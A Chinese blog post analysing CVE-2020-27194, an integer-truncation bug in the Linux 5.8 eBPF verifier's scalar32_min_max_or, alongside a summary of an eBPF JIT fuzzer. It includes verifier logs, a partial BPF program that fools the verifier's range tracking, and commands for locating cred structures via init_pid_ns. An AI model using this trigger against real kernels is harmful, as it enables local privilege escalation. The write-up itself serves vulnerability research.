美文网首页
【kernel exploit】BPF漏洞挖掘与CVE-2020

【kernel exploit】BPF漏洞挖掘与CVE-2020

作者: bsauce | 来源:发表于2021-06-12 09:50 被阅读0次

    影响版本:5.8.x 内核分支,v5.8.15 以及更低的版本。该分支的发行版:Fedora 33 、Ubuntu 20.10。

    编译选项CONFIG_BPF_SYSCALL

    漏洞描述:eBPF验证程序中进行or操作时,scalar32_min_max_or()函数将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。

    补丁patch scalar32_min_max_or()函数中对32位和64位的情况分开处理,防止整数截断。

    测试版本:Linux-5.8.14 测试环境下载地址

    利用过程:与 CVE-2020-8835利用过程相同,只需要根据不同版本的内核调一下array_map_opsinit_pid_ns的偏移,还有寻找cred地址的过程中用到的task_struct结构偏移也不一样,不同的内核版本不同的编译选项所导致。

    一、BPF 漏洞挖掘介绍

    BPF 介绍可以先看看 CVE-2020-8835利用过程

    本节来自Fuzzing for eBPF JIT bugs in the Linux kernel

    1.bpf-fuzzer

    介绍bpf-fuzzer 目标是在userspace测试BPF的verifier,这样可以利用LLVM's sanitizer和fuzzer框架。为什么要把内核编译成用户程序,而不是直接用syzkaller来挖掘呢?原因有两点,一是因为内核fuzz太慢了,二是因为BPF verifier等一些JIT编译器会用锁保护,如果在多核上跑fuzzer就很难并行。

    2.内核组件编译成用户程序

    获取声明:首先生成包含eBPF verifier及其主要函数bpf_check()的源代码(处理宏并包含头文件),写入.i文件,这一步是为了获得 verifier 引用的所有内核符号。生成.i文件的示例:

    KERNEL_SRC=/path/to/kernel/to/fuzz-test
    process_example:
        cd $(KERNEL_SRC) &&  \
            make HOSTCC=clang CC=clang kernel/bpf/verifier.i
    

    内核函数hook:接着编译每个.i文件并链接到一起,这个过程很复。上一步虽然获得了 verifier 引用的所有的符号声明,但是并未获得所有的定义。例如,已获得kmalloc()函数的定义,但是没有获得该函数的定义。bpf-fuzzer是怎么解决的呢?采用user-space hooks,例如,用用户标准函数malloc()来定义kmalloc(),这两个函数的行为是一样的,BPF verifier不会察觉。

    void *kmalloc(size_t size, unsigned int flags)
    {
        return malloc(size);
    }
    

    3. BPF漏洞挖掘

    挖掘思路:已有的工作是使用libfuzzer去fuzz BPF verifier,本文的目标是找到 JIT 逻辑漏洞,而非内存损坏漏洞。例如,verifier 可能认为一个内存store操作是在边界内的,但实际上并不安全。

    因此,仅仅循环调用 BPF verifier 例程并等待崩溃是不够的,应该考虑以下步骤:

    • (1)生成或变异BPF程序
    • (2)执行userspace BPF verifier,来模拟执行BPF程序
    • (3)如果发现BPF程序有效,则调用真实的 bpf() 系统调用并加载程序
    • (4)真实执行BPF程序并采用一个机制来检测bug
    • (5)重复
    1-ebpf_fuzz_architecture_opt.png

    fuzzer架构:为了具备可扩展性,作者写了个manager,manager负责启动虚拟机来运行被测内核,然后通过SSH连接到VMs,并执行 eBPF fuzzer 进程。每个 eBPF fuzzer 进程运行一个 generator 并喂给 userspace BPF verifier,如果生成的输入是有效的,则eBPF fuzzer会调用 bpf()加载 BPF程序并触发执行。再采用检测机制来检查该BPF程序是否安全。

    漏洞检测:JIT漏洞一般不会引发崩溃,所以很难检测。解决办法可以采用给JIT插入 assertions,但作者却采用了更简单的方法。既然目标是找到错误的指针运算,就意味着要使 BPF verifier 相信一个内存load或store是在边界内的。所以漏洞检测流程如下:

    • (1)加载一个 BPF map,并把指针赋给一个寄存器
    • (2)对一个或多个寄存器进行大量的 BPF ALU 和分支操作
    • (3)必须使用能通过操作改变寄存器状态的寄存器,对指向BPF map的指针进行运算操作
    • (4)向 BPF map写入随机值

    如果 BPF verifier 确信 BPF 程序是安全的,那么无论对寄存器进行随机ALU运算的值是多少,无论之后对 BPF map 指针加减多少值(即遍历map中每个元素),内存操作始终都会在边界内,这意味着需要更改map的值了。

    如果触发了有问题的BPF程序,但是用于测试的map内容并未发生变化,则可以得知fuzzer将某处写入内存但没有写入map,因此检测到错误的指针运算。

    4.输入生成规则

    输入生成:即生成有效的BPF程序,可以先阅读 CVE-2020-8835-writeup英文原文

    程序有效性与程序安全性:作者没有采用对输入结构未知的fuzzer如 libfuzzer,而是从头开始写 input generator,因为通过编译和反馈还是很难生成有效的BPF程序。BPF的语言规则,保留字段必须为0,条件跳转必须往后跳且在边界内,BPF程序是高度结构化的,所以覆盖导向的fuzzer很难生成有效的BPF程序。

    寄存器状态:BPF支持10个寄存器—— BPF_REG_1BPF_REG_10。如果将BPF程序用作数据过滤器,并通过传入数据包来触发该程序,则只初始化R1和R10寄存器,R1是指向输入包的指针,R10是指向本BPF程序的栈帧的指针,其他寄存器在进入程序入口时都还未初始化,但可以具有以下状态:

    • NOT_INIT:寄存器的默认状态,不能被read。
    • SCALAR_VALUE:寄存器包含标量值,该值可以是常数,也可以是范围,如1-5。
    • PTR_TO_MAP_VALUE_OR_NULL:寄存器可能是指向map的指针或NULL值。如果呀使用指针,必须先检查指针是否为NULL。
    • PTR_TO_MAP_VALUE:指向map的指针,可以放心向map读和写。
    • 除此之外还有其他状态,但与本文不相关。

    5.BPF程序生成过程

    (5-1)The header

    目的:用常数或接近于 BPF map size 的值来初始化2个寄存器。

    为了测试 BPF verifier 错误的指针运算,我们需要获得一个指向 BPF map 的指针,便于读取和写入。这个获得指向 BPF map 的指针的过程 固定出现在每个test case的开头。指令如下:

    // prepare the stack for map_lookup_elem
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), 
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
    // make the call to map_lookup_elem
    BPF_LD_MAP_FD(BPF_REG_1, BPF_TRIAGE_MAP_FD),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
    // verify the map so that we can use it
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
    BPF_EXIT_INSN(),
    

    现在 r0 就是指向map的指针了,可以用来生成指针运算。以下代码会把 BPF map 中的值赋值给两个寄存器:

    // 每个寄存器都是从 BPF map 读取 64 bit,寄存器的状态从 NOT_INIT 变为 SCALAR_VALUE。寄存器的值的范围是 0-2**64,这一步的目的就是给寄存器加载一个随机的立即数。
    BPF_LDX_MEM(BPF_DW, this->reg1, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_DW, this->reg2, BPF_REG_0, 8),
    

    为了使寄存器的值更接近被测程序 的BPF map大小,下一步是生成条件跳转,以设置两寄存器的minimum 和maximum 值。以下函数能生成寄存器的minimum bound。

    // 目的是生成一个条件跳转,当该值大于 minimum bound 时,条件跳转为 true。minimum bound是在 (-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE)范围内随机生成的,作者令 FUZZ_MAP_SIZE=8192。
    inline struct bpf_insn input::generate_min_bounds(unsigned reg, int64_t val) 
    {
        bool is64bit = this->rg->one_of(2);
        this->min_bound = val == -1 ? this->rg->rand_int_range(-FUZZ_MAP_SIZE, FUZZ_MAP_SIZE): val;
        
        if (is64bit)
            return BPF_JMP_IMM(BPF_JSGT, reg, this->min_bound, 1);
        else
            return BPF_JMP32_IMM(BPF_JSGT, reg, this->min_bound, 1);
    }
    
    (5-2)The body

    目的:生成2个寄存器的随机ALU算术操作。

    主体部分就是随意选取两个可用的寄存器,进行ALU操作或分支操作。

    // 算术指令是先随机选取一种可用指令,如BPF_ADD/BPF_MUL/BPF_XOR,然后确定源寄存器和目的寄存器,并返回生成的BPF指令。分支指令也是类似,先选取可用的分支操作码,可以使用第二个寄存器或立即数,由于知道BPF程序的大小和指令的下标,这样就总能生成有效的指令。
    for (size_t i = 0; i < num_instr; i++) {
        int reg1, reg2;
            
        this->chose_registers(&reg1, &reg2);
        if (rg->n_out_of(8, 10) || i == this->num_instr - 1) {
            alu_instr a;
            a.generate(this->rg, reg1, reg2);
            this->instructions[index++] = a.instr;
        }
        else {
            branch_instr b(this->header_size, this->header_size + this->num_instr, index);
            b.generate(this->rg, reg1, reg2);
            this->instructions[index++] = b.instr;
            generated_branch = true;
        }
    }
    
    (5-3)The footer

    目的:为保证每个input都能对 BPF map 进行内存写, The footer 会选择上述2个寄存器之一,接着进行算术运算(和The body中类似,但只能进行加减操作,因为指针只能进行加减运算)。最后进行内存操作,然后将R0赋值为立即数,确保有正确的返回值。

    void range_input::generate_footer() 
    {
        size_t index = this->header_size + this->num_instr;
        // generate the random pointer arithmetic with one of the registers
        int reg1, reg2 = -1;
        this->chose_registers(&reg1, &reg2);
        alu_instr ptr_ar;
        ptr_ar.generate_ptr_ar(this->rg, BPF_REG_4, reg1);
        this->instructions[index++] = ptr_ar.instr;
        this->instructions[index++] = this->generate_mem_access(BPF_REG_4);
        this->instructions[index++] = BPF_MOV64_IMM(BPF_REG_0, 1);
        this->instructions[index++] = BPF_EXIT_INSN();
    

    6.Fuzzer结果

    2-ebpf_fuzzer.png

    以上显示作者用了6个VM来fuzz的输出结果,每个VM一秒能测1200个BPF程序,0.77%的BPF程序是有效的。大量时间用在了内核真实测试BPF程序上,下一步可以在用户空间测试BPF程序,避免与内核交互,从而提速。


    二、漏洞分析

    // 漏洞函数:scalar32_min_max_or() —— 对寄存器进行或运算时,错误计算了`bpf_reg_state`寄存器状态中的寄存器值范围
    static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                    struct bpf_reg_state *src_reg)
    {
        bool src_known = tnum_subreg_is_const(src_reg->var_off);
        bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
        struct tnum var32_off = tnum_subreg(dst_reg->var_off);
        s32 smin_val = src_reg->smin_value;
        u32 umin_val = src_reg->umin_value;
    
        /* Assuming scalar64_min_max_or will be called so it is safe
         * to skip updating register for known case.
         */
        if (src_known && dst_known)
            return;
    
        /* We get our maximum from the var_off, and our minimum is the
         * maximum of the operands' minima
         */
        dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
        dst_reg->u32_max_value = var32_off.value | var32_off.mask;
        if (dst_reg->s32_min_value < 0 || smin_val < 0) {
            /* Lose signed bounds when ORing negative numbers,
             * ain't nobody got time for that.
             */
            dst_reg->s32_min_value = S32_MIN;
            dst_reg->s32_max_value = S32_MAX;
        } else {
            /* ORing two positives gives a positive, so safe to
             * cast result into s64.
             */
            dst_reg->s32_min_value = dst_reg->umin_value; // 【1】将64位的值赋值到32位的变量上,导致整数截断,进而错误计算了寄存器的范围,从而绕过bpf的检查,导致越界读写。
            dst_reg->s32_max_value = dst_reg->umax_value;
        }
    }
    

    具体可以看Poc生成的日志

      ……
    9: (79) r5 = *(u64 *)(r0 +0)
     R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
    10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
    10: (bf) r8 = r0
    11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
    11: (b7) r0 = 1
    12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
    12: (18) r6 = 0x600000002
    14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
    14: (ad) if r5 < r6 goto pc+1
     R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
    15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
    15: (95) exit
    16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
    16: (25) if r5 > 0x0 goto pc+1
     R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
    17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
    17: (95) exit
    18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
    18: (47) r5 |= 0
    19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
    19: (bc) w6 = w5
    20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
    20: (77) r6 >>= 1
    21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
            ……
    

    9:用户的值通过r5寄存器传入值 2

    10:r0 赋值给r8,r0保存map的地址,对触发漏洞无影响

    11:r0 赋值为1,否则会认为r0 泄露map指针产生报错

    12: r6赋值为0x600000002

    14:通过r5 < r6 的条件判断使得r5寄存器的无符号范围最大为 umax_value=25769803777=0x600000001

    16:通过r > 0x0 的条件判断使得r5寄存器的无符号范围最小为 umin_value=1

    18:对r5进行or运算,触发漏洞函数 scalar_min_max_or,调用到漏洞函数中的【1】处,赋值后r5寄存器的 s32_min_value=1s32_max_value=1

    19:将r5赋值为r6,得到r6为invP1 ,说明检查模块认为r6是常数1,而实际此时r6为2

    20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1

    具体调试过程如下

    3-CVE-2020-27194-Debug.png

    一个常数变量x,如果它64位无符号数的取值范围是 1<=x<=0x100000001dst_reg->umin_value 的值为1, dst_reg->umax_value 的值为0x600000001,而在赋值 dst_reg->s32_max_value 的过程中发生了截断(64位的值赋值到32位的有符号整数),导致 dst_reg->s32_max_value 的值为1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。

    当我们传入2时,对其进行右移操作,验证模块认为是1>>1=0,而实际是2 >>1 = 1,所以可以对其进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对map指针进行任意加减,造成越界读写。

    所以bpf程序构造如下:

    struct bpf_insn prog[] = {
            BPF_LD_MAP_FD(BPF_REG_9, mapfd),
                BPF_MAP_GET(0, BPF_REG_5),  // r5 = input()
            BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
            BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ;  jmp 1
            BPF_EXIT_INSN(),
            BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1),  //if r5 > 0 ; jmp 1 ; 
            BPF_EXIT_INSN(),
            // now  1 <= r5 <= 0x600000001
            BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0),   //r5 |=0;  verify: 1 <= r5 <=1 , r5=1 
            BPF_MOV_REG(BPF_REG_6, BPF_REG_5),     //r6 =r5
            BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),  //r6 >>1    verify:0   fact: we can let r5=2  then r6=1 
            ......
    }
    

    三、漏洞利用

    CVE-2020-8835利用过程相同,只需要根据不同版本的内核调一下array_map_opsinit_pid_ns的偏移,还有寻找cred地址的过程中用到的task_struct结构偏移也不一样,不同的内核版本不同的编译选项所导致。

    # 根据 init_pid_ns 一步步找到当前pid的task_struct中的cred。必须自己编译带符号的vmlinux才行。
    $ cat /proc/kallsyms | grep init_pid_ns         # ——找到第一个task_struct 的地址
    # 查看task_struct在grep init_pid_ns中的偏移,有的是0x38
    $ p/x &(*(struct task_struct *)0)->pid      # ——pid位置
    $ p/x &(*(struct task_struct *)0)->cred     # ——cred位置
    $ p/x &(*(struct task_struct *)0)->tasks    # —— 下一个task_struct的位置
    

    参考:

    320will——Linux kernel BPF模块的相关漏洞分析

    360——CVE-2020-27194:Linux Kernel eBPF模块提权漏洞的分析与利用

    启明星辰ADLab——Linux eBPF JIT 权限提升漏洞(CVE-2020-27194)分析与验证

    Fuzzing for eBPF JIT bugs in the Linux kernel

    相关文章

      网友评论

          本文标题:【kernel exploit】BPF漏洞挖掘与CVE-2020

          本文链接:https://www.haomeiwen.com/subject/zawbeltx.html